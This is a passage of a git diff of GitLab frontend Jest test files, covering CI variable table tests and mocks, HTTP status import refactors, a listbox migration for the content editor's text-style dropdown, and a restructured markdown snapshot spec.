- let wrapper;
-
- const defaultProps = {
- entity: 'project',
- isLoading: false,
- maxVariableLimit: mockVariables(projectString).length + 1,
- variables: mockVariables(projectString),
- };
-
- const mockMaxVariableLimit = defaultProps.variables.length;
-
- const createComponent = ({ props = {} } = {}) => {
- wrapper = mountExtended(CiVariableTable, {
- attachTo: document.body,
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- const findRevealButton = () => wrapper.findByText('Reveal values');
- const findAddButton = () => wrapper.findByLabelText('Add');
- const findEditButton = () => wrapper.findByLabelText('Edit');
- const findEmptyVariablesPlaceholder = () => wrapper.findByText('There are no variables yet.');
- const findHiddenValues = () => wrapper.findAllByTestId('hiddenValue');
- const findLimitReachedAlerts = () => wrapper.findAllComponents(GlAlert);
- const findRevealedValues = () => wrapper.findAllByTestId('revealedValue');
- const findOptionsValues = (rowIndex) =>
- wrapper.findAllByTestId('ci-variable-table-row-options').at(rowIndex).text();
-
- const generateExceedsVariableLimitText = (entity, currentVariableCount, maxVariableLimit) => {
- return sprintf(EXCEEDS_VARIABLE_LIMIT_TEXT, { entity, currentVariableCount, maxVariableLimit });
- };
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('When table is empty', () => {
- beforeEach(() => {
- createComponent({ props: { variables: [] } });
- });
-
- it('displays empty message', () => {
- expect(findEmptyVariablesPlaceholder().exists()).toBe(true);
- });
-
- it('hides the reveal button', () => {
- expect(findRevealButton().exists()).toBe(false);
- });
- });
-
- describe('When table has variables', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('does not display the empty message', () => {
- expect(findEmptyVariablesPlaceholder().exists()).toBe(false);
- });
-
- it('displays the reveal button', () => {
- expect(findRevealButton().exists()).toBe(true);
- });
-
- it('displays the correct amount of variables', async () => {
- expect(wrapper.findAll('.js-ci-variable-row')).toHaveLength(defaultProps.variables.length);
- });
-
- it('displays the correct variable options', async () => {
- expect(findOptionsValues(0)).toBe('Protected, Expanded');
- expect(findOptionsValues(1)).toBe('Masked');
- });
-
- it('enables the Add Variable button', () => {
- expect(findAddButton().props('disabled')).toBe(false);
- });
- });
-
- describe('When variables have exceeded the max limit', () => {
- beforeEach(() => {
- createComponent({ props: { maxVariableLimit: mockVariables(projectString).length } });
- });
-
- it('disables the Add Variable button', () => {
- expect(findAddButton().props('disabled')).toBe(true);
- });
- });
-
- describe('max limit reached alert', () => {
- describe('when there is no variable limit', () => {
- beforeEach(() => {
- createComponent({
- props: { maxVariableLimit: 0 },
- });
- });
-
- it('hides alert', () => {
- expect(findLimitReachedAlerts().length).toBe(0);
- });
- });
-
- describe('when variable limit exists', () => {
- it('hides alert when limit has not been reached', () => {
- createComponent();
-
- expect(findLimitReachedAlerts().length).toBe(0);
- });
-
- it('shows alert when limit has been reached', () => {
- const exceedsVariableLimitText = generateExceedsVariableLimitText(
- defaultProps.entity,
- defaultProps.variables.length,
- mockMaxVariableLimit,
- );
-
- createComponent({
- props: { maxVariableLimit: mockMaxVariableLimit },
- });
-
- expect(findLimitReachedAlerts().length).toBe(2);
-
- expect(findLimitReachedAlerts().at(0).props('dismissible')).toBe(false);
- expect(findLimitReachedAlerts().at(0).text()).toContain(exceedsVariableLimitText);
-
- expect(findLimitReachedAlerts().at(1).props('dismissible')).toBe(false);
- expect(findLimitReachedAlerts().at(1).text()).toContain(exceedsVariableLimitText);
- });
- });
- });
-
- describe('Table click actions', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('reveals secret values when button is clicked', async () => {
- expect(findHiddenValues()).toHaveLength(defaultProps.variables.length);
- expect(findRevealedValues()).toHaveLength(0);
-
- await findRevealButton().trigger('click');
-
- expect(findHiddenValues()).toHaveLength(0);
- expect(findRevealedValues()).toHaveLength(defaultProps.variables.length);
- });
-
- it('dispatches `setSelectedVariable` with correct variable to edit', async () => {
- await findEditButton().trigger('click');
-
- expect(wrapper.emitted('set-selected-variable')).toEqual([[defaultProps.variables[0]]]);
- });
-
- it('dispatches `setSelectedVariable` with no variable when adding a new one', async () => {
- await findAddButton().trigger('click');
-
- expect(wrapper.emitted('set-selected-variable')).toEqual([[null]]);
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/mocks.js b/spec/frontend/ci_variable_list/mocks.js
deleted file mode 100644
index 065e9fa6667..00000000000
--- a/spec/frontend/ci_variable_list/mocks.js
+++ /dev/null
@@ -1,213 +0,0 @@
-import {
- ADD_MUTATION_ACTION,
- DELETE_MUTATION_ACTION,
- UPDATE_MUTATION_ACTION,
- variableTypes,
- groupString,
- instanceString,
- projectString,
-} from '~/ci_variable_list/constants';
-
-import addAdminVariable from '~/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql';
-import deleteAdminVariable from '~/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql';
-import updateAdminVariable from '~/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql';
-import addGroupVariable from '~/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql';
-import deleteGroupVariable from '~/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql';
-import updateGroupVariable from '~/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql';
-import addProjectVariable from '~/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql';
-import deleteProjectVariable from '~/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql';
-import updateProjectVariable from '~/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql';
-
-import getAdminVariables from '~/ci_variable_list/graphql/queries/variables.query.graphql';
-import getGroupVariables from '~/ci_variable_list/graphql/queries/group_variables.query.graphql';
-import getProjectEnvironments from '~/ci_variable_list/graphql/queries/project_environments.query.graphql';
-import getProjectVariables from '~/ci_variable_list/graphql/queries/project_variables.query.graphql';
-
-export const devName = 'dev';
-export const prodName = 'prod';
-
-export const mockVariables = (kind) => {
- return [
- {
- __typename: `Ci${kind}Variable`,
- id: 1,
- key: 'my-var',
- masked: false,
- protected: true,
- raw: false,
- value: 'variable_value',
- variableType: variableTypes.envType,
- },
- {
- __typename: `Ci${kind}Variable`,
- id: 2,
- key: 'secret',
- masked: true,
- protected: false,
- raw: true,
- value: 'another_value',
- variableType: variableTypes.fileType,
- },
- ];
-};
-
-export const mockVariablesWithScopes = (kind) =>
- mockVariables(kind).map((variable) => {
- return { ...variable, environmentScope: '*' };
- });
-
-const createDefaultVars = ({ withScope = true, kind } = {}) => {
- let base = mockVariables(kind);
-
- if (withScope) {
- base = mockVariablesWithScopes(kind);
- }
-
- return {
- __typename: `Ci${kind}VariableConnection`,
- limit: 200,
- pageInfo: {
- startCursor: 'adsjsd12kldpsa',
- endCursor: 'adsjsd12kldpsa',
- hasPreviousPage: false,
- hasNextPage: true,
- },
- nodes: base,
- };
-};
-
-const defaultEnvs = {
- __typename: 'EnvironmentConnection',
- nodes: [
- {
- __typename: 'Environment',
- id: 1,
- name: prodName,
- },
- {
- __typename: 'Environment',
- id: 2,
- name: devName,
- },
- ],
-};
-
-export const mockEnvs = defaultEnvs.nodes;
-
-export const mockProjectEnvironments = {
- data: {
- project: {
- __typename: 'Project',
- id: 1,
- environments: defaultEnvs,
- },
- },
-};
-
-export const mockProjectVariables = {
- data: {
- project: {
- __typename: 'Project',
- id: 1,
- ciVariables: createDefaultVars({ kind: projectString }),
- },
- },
-};
-
-export const mockGroupVariables = {
- data: {
- group: {
- __typename: 'Group',
- id: 1,
- ciVariables: createDefaultVars({ kind: groupString }),
- },
- },
-};
-
-export const mockAdminVariables = {
- data: {
- ciVariables: createDefaultVars({ withScope: false, kind: instanceString }),
- },
-};
-
-export const newVariable = {
- id: 3,
- environmentScope: 'new',
- key: 'AWS_RANDOM_THING',
- masked: true,
- protected: false,
- value: 'devops',
- variableType: variableTypes.variableType,
-};
-
-export const createProjectProps = () => {
- return {
- componentName: 'ProjectVariable',
- entity: 'project',
- fullPath: '/namespace/project/',
- id: 'gid://gitlab/Project/20',
- mutationData: {
- [ADD_MUTATION_ACTION]: addProjectVariable,
- [UPDATE_MUTATION_ACTION]: updateProjectVariable,
- [DELETE_MUTATION_ACTION]: deleteProjectVariable,
- },
- queryData: {
- ciVariables: {
- lookup: (data) => data?.project?.ciVariables,
- query: getProjectVariables,
- },
- environments: {
- lookup: (data) => data?.project?.environments,
- query: getProjectEnvironments,
- },
- },
- };
-};
-
-export const createGroupProps = () => {
- return {
- componentName: 'GroupVariable',
- entity: 'group',
- fullPath: '/my-group',
- id: 'gid://gitlab/Group/20',
- mutationData: {
- [ADD_MUTATION_ACTION]: addGroupVariable,
- [UPDATE_MUTATION_ACTION]: updateGroupVariable,
- [DELETE_MUTATION_ACTION]: deleteGroupVariable,
- },
- queryData: {
- ciVariables: {
- lookup: (data) => data?.group?.ciVariables,
- query: getGroupVariables,
- },
- },
- };
-};
-
-export const createInstanceProps = () => {
- return {
- componentName: 'InstanceVariable',
- entity: '',
- mutationData: {
- [ADD_MUTATION_ACTION]: addAdminVariable,
- [UPDATE_MUTATION_ACTION]: updateAdminVariable,
- [DELETE_MUTATION_ACTION]: deleteAdminVariable,
- },
- queryData: {
- ciVariables: {
- lookup: (data) => data?.ciVariables,
- query: getAdminVariables,
- },
- },
- };
-};
-
-export const createGroupProvide = () => ({
- isGroup: true,
- isProject: false,
-});
-
-export const createProjectProvide = () => ({
- isGroup: false,
- isProject: true,
-});
diff --git a/spec/frontend/ci_variable_list/utils_spec.js b/spec/frontend/ci_variable_list/utils_spec.js
deleted file mode 100644
index 081c399792f..00000000000
--- a/spec/frontend/ci_variable_list/utils_spec.js
+++ /dev/null
@@ -1,78 +0,0 @@
-import {
- createJoinedEnvironments,
- convertEnvironmentScope,
- mapEnvironmentNames,
-} from '~/ci_variable_list/utils';
-import { allEnvironments } from '~/ci_variable_list/constants';
-
-describe('utils', () => {
- const environments = ['dev', 'prod'];
- const newEnvironments = ['staging'];
-
- describe('createJoinedEnvironments', () => {
- it('returns only `environments` if `variables` argument is undefined', () => {
- const variables = undefined;
-
- expect(createJoinedEnvironments(variables, environments, [])).toEqual(environments);
- });
-
- it('returns a list of environments and environment scopes taken from variables in alphabetical order', () => {
- const envScope1 = 'new1';
- const envScope2 = 'new2';
-
- const variables = [{ environmentScope: envScope1 }, { environmentScope: envScope2 }];
-
- expect(createJoinedEnvironments(variables, environments, [])).toEqual([
- environments[0],
- envScope1,
- envScope2,
- environments[1],
- ]);
- });
-
- it('returns combined list with new environments included', () => {
- const variables = undefined;
-
- expect(createJoinedEnvironments(variables, environments, newEnvironments)).toEqual([
- ...environments,
- ...newEnvironments,
- ]);
- });
-
- it('removes duplicate environments', () => {
- const envScope1 = environments[0];
- const envScope2 = 'new2';
-
- const variables = [{ environmentScope: envScope1 }, { environmentScope: envScope2 }];
-
- expect(createJoinedEnvironments(variables, environments, [])).toEqual([
- environments[0],
- envScope2,
- environments[1],
- ]);
- });
- });
-
- describe('convertEnvironmentScope', () => {
- it('converts the * to the `All environments` text', () => {
- expect(convertEnvironmentScope('*')).toBe(allEnvironments.text);
- });
-
- it('returns the environment as is if not the *', () => {
- expect(convertEnvironmentScope('prod')).toBe('prod');
- });
- });
-
- describe('mapEnvironmentNames', () => {
- const envName = 'dev';
- const envName2 = 'prod';
-
- const nodes = [
- { name: envName, otherProp: {} },
- { name: envName2, otherProp: {} },
- ];
- it('flatten a nodes array with only their names', () => {
- expect(mapEnvironmentNames(nodes)).toEqual([envName, envName2]);
- });
- });
-});
diff --git a/spec/frontend/commit/pipelines/pipelines_table_spec.js b/spec/frontend/commit/pipelines/pipelines_table_spec.js
index d89a238105b..6865b721441 100644
--- a/spec/frontend/commit/pipelines/pipelines_table_spec.js
+++ b/spec/frontend/commit/pipelines/pipelines_table_spec.js
@@ -7,7 +7,11 @@ import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import Api from '~/api';
import PipelinesTable from '~/commit/pipelines/pipelines_table.vue';
-import httpStatusCodes from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_BAD_REQUEST,
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
+ HTTP_STATUS_UNAUTHORIZED,
+} from '~/lib/utils/http_status';
import { createAlert } from '~/flash';
import { TOAST_MESSAGE } from '~/pipelines/constants';
import axios from '~/lib/utils/axios_utils';
@@ -243,10 +247,10 @@ describe('Pipelines table in Commits and Merge requests', () => {
'An error occurred while trying to run a new pipeline for this merge request.';
it.each`
- status | message
- ${httpStatusCodes.BAD_REQUEST} | ${defaultMsg}
- ${httpStatusCodes.UNAUTHORIZED} | ${permissionsMsg}
- ${httpStatusCodes.INTERNAL_SERVER_ERROR} | ${defaultMsg}
+ status | message
+ ${HTTP_STATUS_BAD_REQUEST} | ${defaultMsg}
+ ${HTTP_STATUS_UNAUTHORIZED} | ${permissionsMsg}
+ ${HTTP_STATUS_INTERNAL_SERVER_ERROR} | ${defaultMsg}
`('displays permissions error message', async ({ status, message }) => {
const response = { response: { status } };
diff --git a/spec/frontend/constants_spec.js b/spec/frontend/constants_spec.js
new file mode 100644
index 00000000000..b596b62f72c
--- /dev/null
+++ b/spec/frontend/constants_spec.js
@@ -0,0 +1,30 @@
+import * as constants from '~/constants';
+
+describe('Global JS constants', () => {
+ describe('getModifierKey()', () => {
+ afterEach(() => {
+ delete window.gl;
+ });
+
+ it.each`
+ isMac | removeSuffix | expectedKey
+ ${true} | ${false} | ${'⌘'}
+ ${false} | ${false} | ${'Ctrl+'}
+ ${true} | ${true} | ${'⌘'}
+ ${false} | ${true} | ${'Ctrl'}
+ `(
+ 'returns correct keystroke when isMac=$isMac and removeSuffix=$removeSuffix',
+ ({ isMac, removeSuffix, expectedKey }) => {
+ Object.assign(window, {
+ gl: {
+ client: {
+ isMac,
+ },
+ },
+ });
+
+ expect(constants.getModifierKey(removeSuffix)).toBe(expectedKey);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
index 3ebb305afbf..5a725ac1ca4 100644
--- a/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
+++ b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import EditorStateObserver from '~/content_editor/components/editor_state_observer.vue';
import ToolbarTextStyleDropdown from '~/content_editor/components/toolbar_text_style_dropdown.vue';
@@ -22,8 +22,6 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
const buildWrapper = (propsData = {}) => {
wrapper = shallowMountExtended(ToolbarTextStyleDropdown, {
stubs: {
- GlDropdown,
- GlDropdownItem,
EditorStateObserver,
},
provide: {
@@ -35,7 +33,7 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
},
});
};
- const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findListbox = () => wrapper.findComponent(GlCollapsibleListbox);
beforeEach(() => {
buildEditor();
@@ -48,9 +46,10 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
it('renders all text styles as dropdown items', () => {
buildWrapper();
- TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle) => {
- expect(wrapper.findByText(textStyle.label).exists()).toBe(true);
+ TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle, index) => {
+ expect(findListbox().props('items').at(index).text).toContain(textStyle.label);
});
+ expect(findListbox().props('items').length).toBe(TEXT_STYLE_DROPDOWN_ITEMS.length);
});
describe('when there is an active item', () => {
@@ -69,19 +68,11 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
});
it('displays the active text style label as the dropdown toggle text', () => {
- expect(findDropdown().props().text).toBe(activeTextStyle.label);
+ expect(findListbox().props('toggleText')).toBe(activeTextStyle.label);
});
it('sets dropdown as enabled', () => {
- expect(findDropdown().props().disabled).toBe(false);
- });
-
- it('sets active item as active', () => {
- const activeItem = wrapper
- .findAllComponents(GlDropdownItem)
- .filter((item) => item.text() === activeTextStyle.label)
- .at(0);
- expect(activeItem.props().isChecked).toBe(true);
+ expect(findListbox().props('disabled')).toBe(false);
});
});
@@ -93,11 +84,11 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
});
it('sets dropdown as disabled', () => {
- expect(findDropdown().props().disabled).toBe(true);
+ expect(findListbox().props('disabled')).toBe(true);
});
it('sets dropdown toggle text to Text style', () => {
- expect(findDropdown().props().text).toBe('Text style');
+ expect(findListbox().props('toggleText')).toBe('Text style');
});
});
@@ -109,7 +100,7 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
const { editorCommand, commandParams } = textStyle;
const commands = mockChainedCommands(tiptapEditor, [editorCommand, 'focus', 'run']);
- wrapper.findAllComponents(GlDropdownItem).at(index).vm.$emit('click');
+ findListbox().vm.$emit('select', TEXT_STYLE_DROPDOWN_ITEMS[index].label);
expect(commands[editorCommand]).toHaveBeenCalledWith(commandParams || {});
expect(commands.focus).toHaveBeenCalled();
expect(commands.run).toHaveBeenCalled();
@@ -121,7 +112,7 @@ describe('content_editor/components/toolbar_text_style_dropdown', () => {
buildWrapper();
const { contentType, commandParams } = textStyle;
- wrapper.findAllComponents(GlDropdownItem).at(index).vm.$emit('click');
+ findListbox().vm.$emit('select', TEXT_STYLE_DROPDOWN_ITEMS[index].label);
expect(wrapper.emitted('execute')).toEqual([
[
{
diff --git a/spec/frontend/content_editor/extensions/attachment_spec.js b/spec/frontend/content_editor/extensions/attachment_spec.js
index d528096be34..6b804b3b4c6 100644
--- a/spec/frontend/content_editor/extensions/attachment_spec.js
+++ b/spec/frontend/content_editor/extensions/attachment_spec.js
@@ -8,7 +8,7 @@ import Video from '~/content_editor/extensions/video';
import Link from '~/content_editor/extensions/link';
import Loading from '~/content_editor/extensions/loading';
import { VARIANT_DANGER } from '~/flash';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import eventHubFactory from '~/helpers/event_hub_factory';
import { createTestEditor, createDocBuilder } from '../test_utils';
import {
@@ -132,7 +132,7 @@ describe('content_editor/extensions/attachment', () => {
};
beforeEach(() => {
- mock.onPost().reply(httpStatus.OK, successResponse);
+ mock.onPost().reply(HTTP_STATUS_OK, successResponse);
});
it('inserts a media content with src set to the encoded content and uploading true', async () => {
@@ -167,7 +167,7 @@ describe('content_editor/extensions/attachment', () => {
describe('when uploading request fails', () => {
beforeEach(() => {
- mock.onPost().reply(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost().reply(HTTP_STATUS_INTERNAL_SERVER_ERROR);
});
it('resets the doc to original state', async () => {
@@ -209,7 +209,7 @@ describe('content_editor/extensions/attachment', () => {
};
beforeEach(() => {
- mock.onPost().reply(httpStatus.OK, successResponse);
+ mock.onPost().reply(HTTP_STATUS_OK, successResponse);
});
it('inserts a loading mark', async () => {
@@ -246,7 +246,7 @@ describe('content_editor/extensions/attachment', () => {
describe('when uploading request fails', () => {
beforeEach(() => {
- mock.onPost().reply(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost().reply(HTTP_STATUS_INTERNAL_SERVER_ERROR);
});
it('resets the doc to orginal state', async () => {
diff --git a/spec/frontend/content_editor/extensions/link_spec.js b/spec/frontend/content_editor/extensions/link_spec.js
index bb841357d37..ead898554d1 100644
--- a/spec/frontend/content_editor/extensions/link_spec.js
+++ b/spec/frontend/content_editor/extensions/link_spec.js
@@ -33,7 +33,7 @@ describe('content_editor/extensions/link', () => {
${'documentation](readme.md'} | ${() => p('documentation](readme.md')}
${'http://example.com '} | ${() => p(link({ href: 'http://example.com' }, 'http://example.com'))}
${'https://example.com '} | ${() => p(link({ href: 'https://example.com' }, 'https://example.com'))}
- ${'www.example.com '} | ${() => p(link({ href: 'http://www.example.com' }, 'www.example.com'))}
+ ${'www.example.com '} | ${() => p(link({ href: 'www.example.com' }, 'www.example.com'))}
${'example.com/ab.html '} | ${() => p('example.com/ab.html')}
${'https://www.google.com '} | ${() => p(link({ href: 'https://www.google.com' }, 'https://www.google.com'))}
`('with input=$input, then should insert a $insertedNode', ({ input, insertedNode }) => {
diff --git a/spec/frontend/content_editor/markdown_processing_spec.js b/spec/frontend/content_editor/markdown_processing_spec.js
deleted file mode 100644
index 3930f47289a..00000000000
--- a/spec/frontend/content_editor/markdown_processing_spec.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import path from 'path';
-import { describeMarkdownProcessing } from 'jest/content_editor/markdown_processing_spec_helper';
-
-jest.mock('~/emoji');
-
-const markdownYamlPath = path.join(
- __dirname,
- '..',
- '..',
- 'fixtures',
- 'markdown',
- 'markdown_golden_master_examples.yml',
-);
-
-// See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
-describeMarkdownProcessing('CE markdown processing in ContentEditor', markdownYamlPath);
diff --git a/spec/frontend/content_editor/markdown_processing_spec_helper.js b/spec/frontend/content_editor/markdown_processing_spec_helper.js
deleted file mode 100644
index 6f10f294fb0..00000000000
--- a/spec/frontend/content_editor/markdown_processing_spec_helper.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import fs from 'fs';
-import jsYaml from 'js-yaml';
-import { memoize } from 'lodash';
-import MockAdapter from 'axios-mock-adapter';
-import axios from 'axios';
-import { createContentEditor } from '~/content_editor';
-import httpStatus from '~/lib/utils/http_status';
-
-const getFocusedMarkdownExamples = memoize(
- () => process.env.FOCUSED_MARKDOWN_EXAMPLES?.split(',') || [],
-);
-
-const includeExample = ({ name }) => {
- const focusedMarkdownExamples = getFocusedMarkdownExamples();
- if (!focusedMarkdownExamples.length) {
- return true;
- }
- return focusedMarkdownExamples.includes(name);
-};
-
-const getPendingReason = (pendingStringOrObject) => {
- if (!pendingStringOrObject) {
- return null;
- }
- if (typeof pendingStringOrObject === 'string') {
- return pendingStringOrObject;
- }
- if (pendingStringOrObject.frontend) {
- return pendingStringOrObject.frontend;
- }
-
- return null;
-};
-
-const loadMarkdownApiExamples = (markdownYamlPath) => {
- const apiMarkdownYamlText = fs.readFileSync(markdownYamlPath);
- const apiMarkdownExampleObjects = jsYaml.safeLoad(apiMarkdownYamlText);
-
- return apiMarkdownExampleObjects
- .filter(includeExample)
- .map(({ name, pending, markdown, html }) => [
- name,
- { pendingReason: getPendingReason(pending), markdown, html },
- ]);
-};
-
-const testSerializesHtmlToMarkdownForElement = async ({ markdown, html }) => {
- const mock = new MockAdapter(axios);
-
- // Ignore any API requests from the suggestions plugin
- mock.onGet().reply(httpStatus.OK, []);
-
- const contentEditor = createContentEditor({
- // Overwrite renderMarkdown to always return this specific html
- renderMarkdown: () => html,
- });
-
- await contentEditor.setSerializedContent(markdown);
-
- // This serializes the ContentEditor document, which was based on the HTML, to markdown
- const serializedContent = contentEditor.getSerializedContent();
-
- // Assert that the markdown we ended up with after sending it through all the ContentEditor
- // plumbing matches the original markdown from the YAML.
- expect(serializedContent.trim()).toBe(markdown.trim());
-
- mock.restore();
-};
-
-// describeMarkdownProcesssing
-//
-// This is used to dynamically generate examples (for both CE and EE) to ensure
-// we generate same markdown that was provided to Markdown API.
-//
-// eslint-disable-next-line jest/no-export
-export const describeMarkdownProcessing = (description, markdownYamlPath) => {
- const examples = loadMarkdownApiExamples(markdownYamlPath);
-
- describe(description, () => {
- describe.each(examples)('%s', (name, { pendingReason, ...example }) => {
- const exampleName = 'correctly serializes HTML to markdown';
- if (pendingReason) {
- it.todo(`${exampleName}: ${pendingReason}`);
- return;
- }
-
- it(`${exampleName}`, async () => {
- await testSerializesHtmlToMarkdownForElement(example);
- });
- });
- });
-};
diff --git a/spec/frontend/content_editor/markdown_snapshot_spec.js b/spec/frontend/content_editor/markdown_snapshot_spec.js
index 146208bf8c7..fd64003420e 100644
--- a/spec/frontend/content_editor/markdown_snapshot_spec.js
+++ b/spec/frontend/content_editor/markdown_snapshot_spec.js
@@ -1,11 +1,96 @@
-import { describeMarkdownSnapshots } from 'jest/content_editor/markdown_snapshot_spec_helper';
-
-jest.mock('~/emoji');
-
// See https://docs.gitlab.com/ee/development/gitlab_flavored_markdown/specification_guide/#markdown-snapshot-testing
// for documentation on this spec.
//
// NOTE: Unlike the backend markdown_snapshot_spec.rb which has a CE and EE version, there is only
// one version of this spec. This is because the frontend markdown rendering does not require EE-only
// backend features.
-describeMarkdownSnapshots('markdown example snapshots in ContentEditor');
+
+import jsYaml from 'js-yaml';
+import { pick } from 'lodash';
+import glfmExampleStatusYml from '../../../glfm_specification/input/gitlab_flavored_markdown/glfm_example_status.yml';
+import markdownYml from '../../../glfm_specification/output_example_snapshots/markdown.yml';
+import htmlYml from '../../../glfm_specification/output_example_snapshots/html.yml';
+import prosemirrorJsonYml from '../../../glfm_specification/output_example_snapshots/prosemirror_json.yml';
+import {
+ IMPLEMENTATION_ERROR_MSG,
+ renderHtmlAndJsonForAllExamples,
+} from './render_html_and_json_for_all_examples';
+
+jest.mock('~/emoji');
+
+const filterExamples = (examples) => {
+ const focusedMarkdownExamples = process.env.FOCUSED_MARKDOWN_EXAMPLES?.split(',') || [];
+ if (!focusedMarkdownExamples.length) {
+ return examples;
+ }
+ return pick(examples, focusedMarkdownExamples);
+};
+
+const loadExamples = (yaml) => {
+ const examples = jsYaml.safeLoad(yaml, {});
+ return filterExamples(examples);
+};
+
+describe('markdown example snapshots in ContentEditor', () => {
+ let actualHtmlAndJsonExamples;
+ let skipRunningSnapshotWysiwygHtmlTests;
+ let skipRunningSnapshotProsemirrorJsonTests;
+
+ const exampleStatuses = loadExamples(glfmExampleStatusYml);
+ const markdownExamples = loadExamples(markdownYml);
+ const expectedHtmlExamples = loadExamples(htmlYml);
+ const expectedProseMirrorJsonExamples = loadExamples(prosemirrorJsonYml);
+ const exampleNames = Object.keys(markdownExamples);
+
+ beforeAll(async () => {
+ return renderHtmlAndJsonForAllExamples(markdownExamples).then((examples) => {
+ actualHtmlAndJsonExamples = examples;
+ });
+ });
+
+ describe.each(exampleNames)('%s', (name) => {
+ const exampleNamePrefix = 'verifies conversion of GLFM to';
+ skipRunningSnapshotWysiwygHtmlTests =
+ exampleStatuses[name]?.skip_running_snapshot_wysiwyg_html_tests;
+ skipRunningSnapshotProsemirrorJsonTests =
+ exampleStatuses[name]?.skip_running_snapshot_prosemirror_json_tests;
+
+ const markdown = markdownExamples[name];
+
+ if (skipRunningSnapshotWysiwygHtmlTests) {
+ it.todo(`${exampleNamePrefix} HTML: ${skipRunningSnapshotWysiwygHtmlTests}`);
+ } else {
+ it(`${exampleNamePrefix} HTML`, async () => {
+ const expectedHtml = expectedHtmlExamples[name].wysiwyg;
+ const { html: actualHtml } = actualHtmlAndJsonExamples[name];
+
+ // noinspection JSUnresolvedFunction (required to avoid RubyMine type inspection warning, because custom matchers auto-imported via Jest test setup are not automatically resolved - see https://youtrack.jetbrains.com/issue/WEB-42350/matcher-for-jest-is-not-recognized-but-it-is-runable)
+ expect(actualHtml).toMatchExpectedForMarkdown(
+ 'HTML',
+ name,
+ markdown,
+ IMPLEMENTATION_ERROR_MSG,
+ expectedHtml,
+ );
+ });
+ }
+
+ if (skipRunningSnapshotProsemirrorJsonTests) {
+ it.todo(`${exampleNamePrefix} ProseMirror JSON: ${skipRunningSnapshotProsemirrorJsonTests}`);
+ } else {
+ it(`${exampleNamePrefix} ProseMirror JSON`, async () => {
+ const expectedJson = expectedProseMirrorJsonExamples[name];
+ const { json: actualJson } = actualHtmlAndJsonExamples[name];
+
+ // noinspection JSUnresolvedFunction
+ expect(actualJson).toMatchExpectedForMarkdown(
+ 'JSON',
+ name,
+ markdown,
+ IMPLEMENTATION_ERROR_MSG,
+ expectedJson,
+ );
+ });
+ }
+ });
+});
diff --git a/spec/frontend/content_editor/markdown_snapshot_spec_helper.js b/spec/frontend/content_editor/markdown_snapshot_spec_helper.js
deleted file mode 100644
index 64988c5b717..00000000000
--- a/spec/frontend/content_editor/markdown_snapshot_spec_helper.js
+++ /dev/null
@@ -1,96 +0,0 @@
-// See https://docs.gitlab.com/ee/development/gitlab_flavored_markdown/specification_guide/#markdown-snapshot-testing
-// for documentation on this spec.
-
-import jsYaml from 'js-yaml';
-import { pick } from 'lodash';
-import glfmExampleStatusYml from '../../../glfm_specification/input/gitlab_flavored_markdown/glfm_example_status.yml';
-import markdownYml from '../../../glfm_specification/output_example_snapshots/markdown.yml';
-import htmlYml from '../../../glfm_specification/output_example_snapshots/html.yml';
-import prosemirrorJsonYml from '../../../glfm_specification/output_example_snapshots/prosemirror_json.yml';
-import {
- IMPLEMENTATION_ERROR_MSG,
- renderHtmlAndJsonForAllExamples,
-} from './render_html_and_json_for_all_examples';
-
-const filterExamples = (examples) => {
- const focusedMarkdownExamples = process.env.FOCUSED_MARKDOWN_EXAMPLES?.split(',') || [];
- if (!focusedMarkdownExamples.length) {
- return examples;
- }
- return pick(examples, focusedMarkdownExamples);
-};
-
-const loadExamples = (yaml) => {
- const examples = jsYaml.safeLoad(yaml, {});
- return filterExamples(examples);
-};
-
-// eslint-disable-next-line jest/no-export
-export const describeMarkdownSnapshots = (description) => {
- let actualHtmlAndJsonExamples;
- let skipRunningSnapshotWysiwygHtmlTests;
- let skipRunningSnapshotProsemirrorJsonTests;
-
- const exampleStatuses = loadExamples(glfmExampleStatusYml);
- const markdownExamples = loadExamples(markdownYml);
- const expectedHtmlExamples = loadExamples(htmlYml);
- const expectedProseMirrorJsonExamples = loadExamples(prosemirrorJsonYml);
-
- beforeAll(async () => {
- return renderHtmlAndJsonForAllExamples(markdownExamples).then((examples) => {
- actualHtmlAndJsonExamples = examples;
- });
- });
-
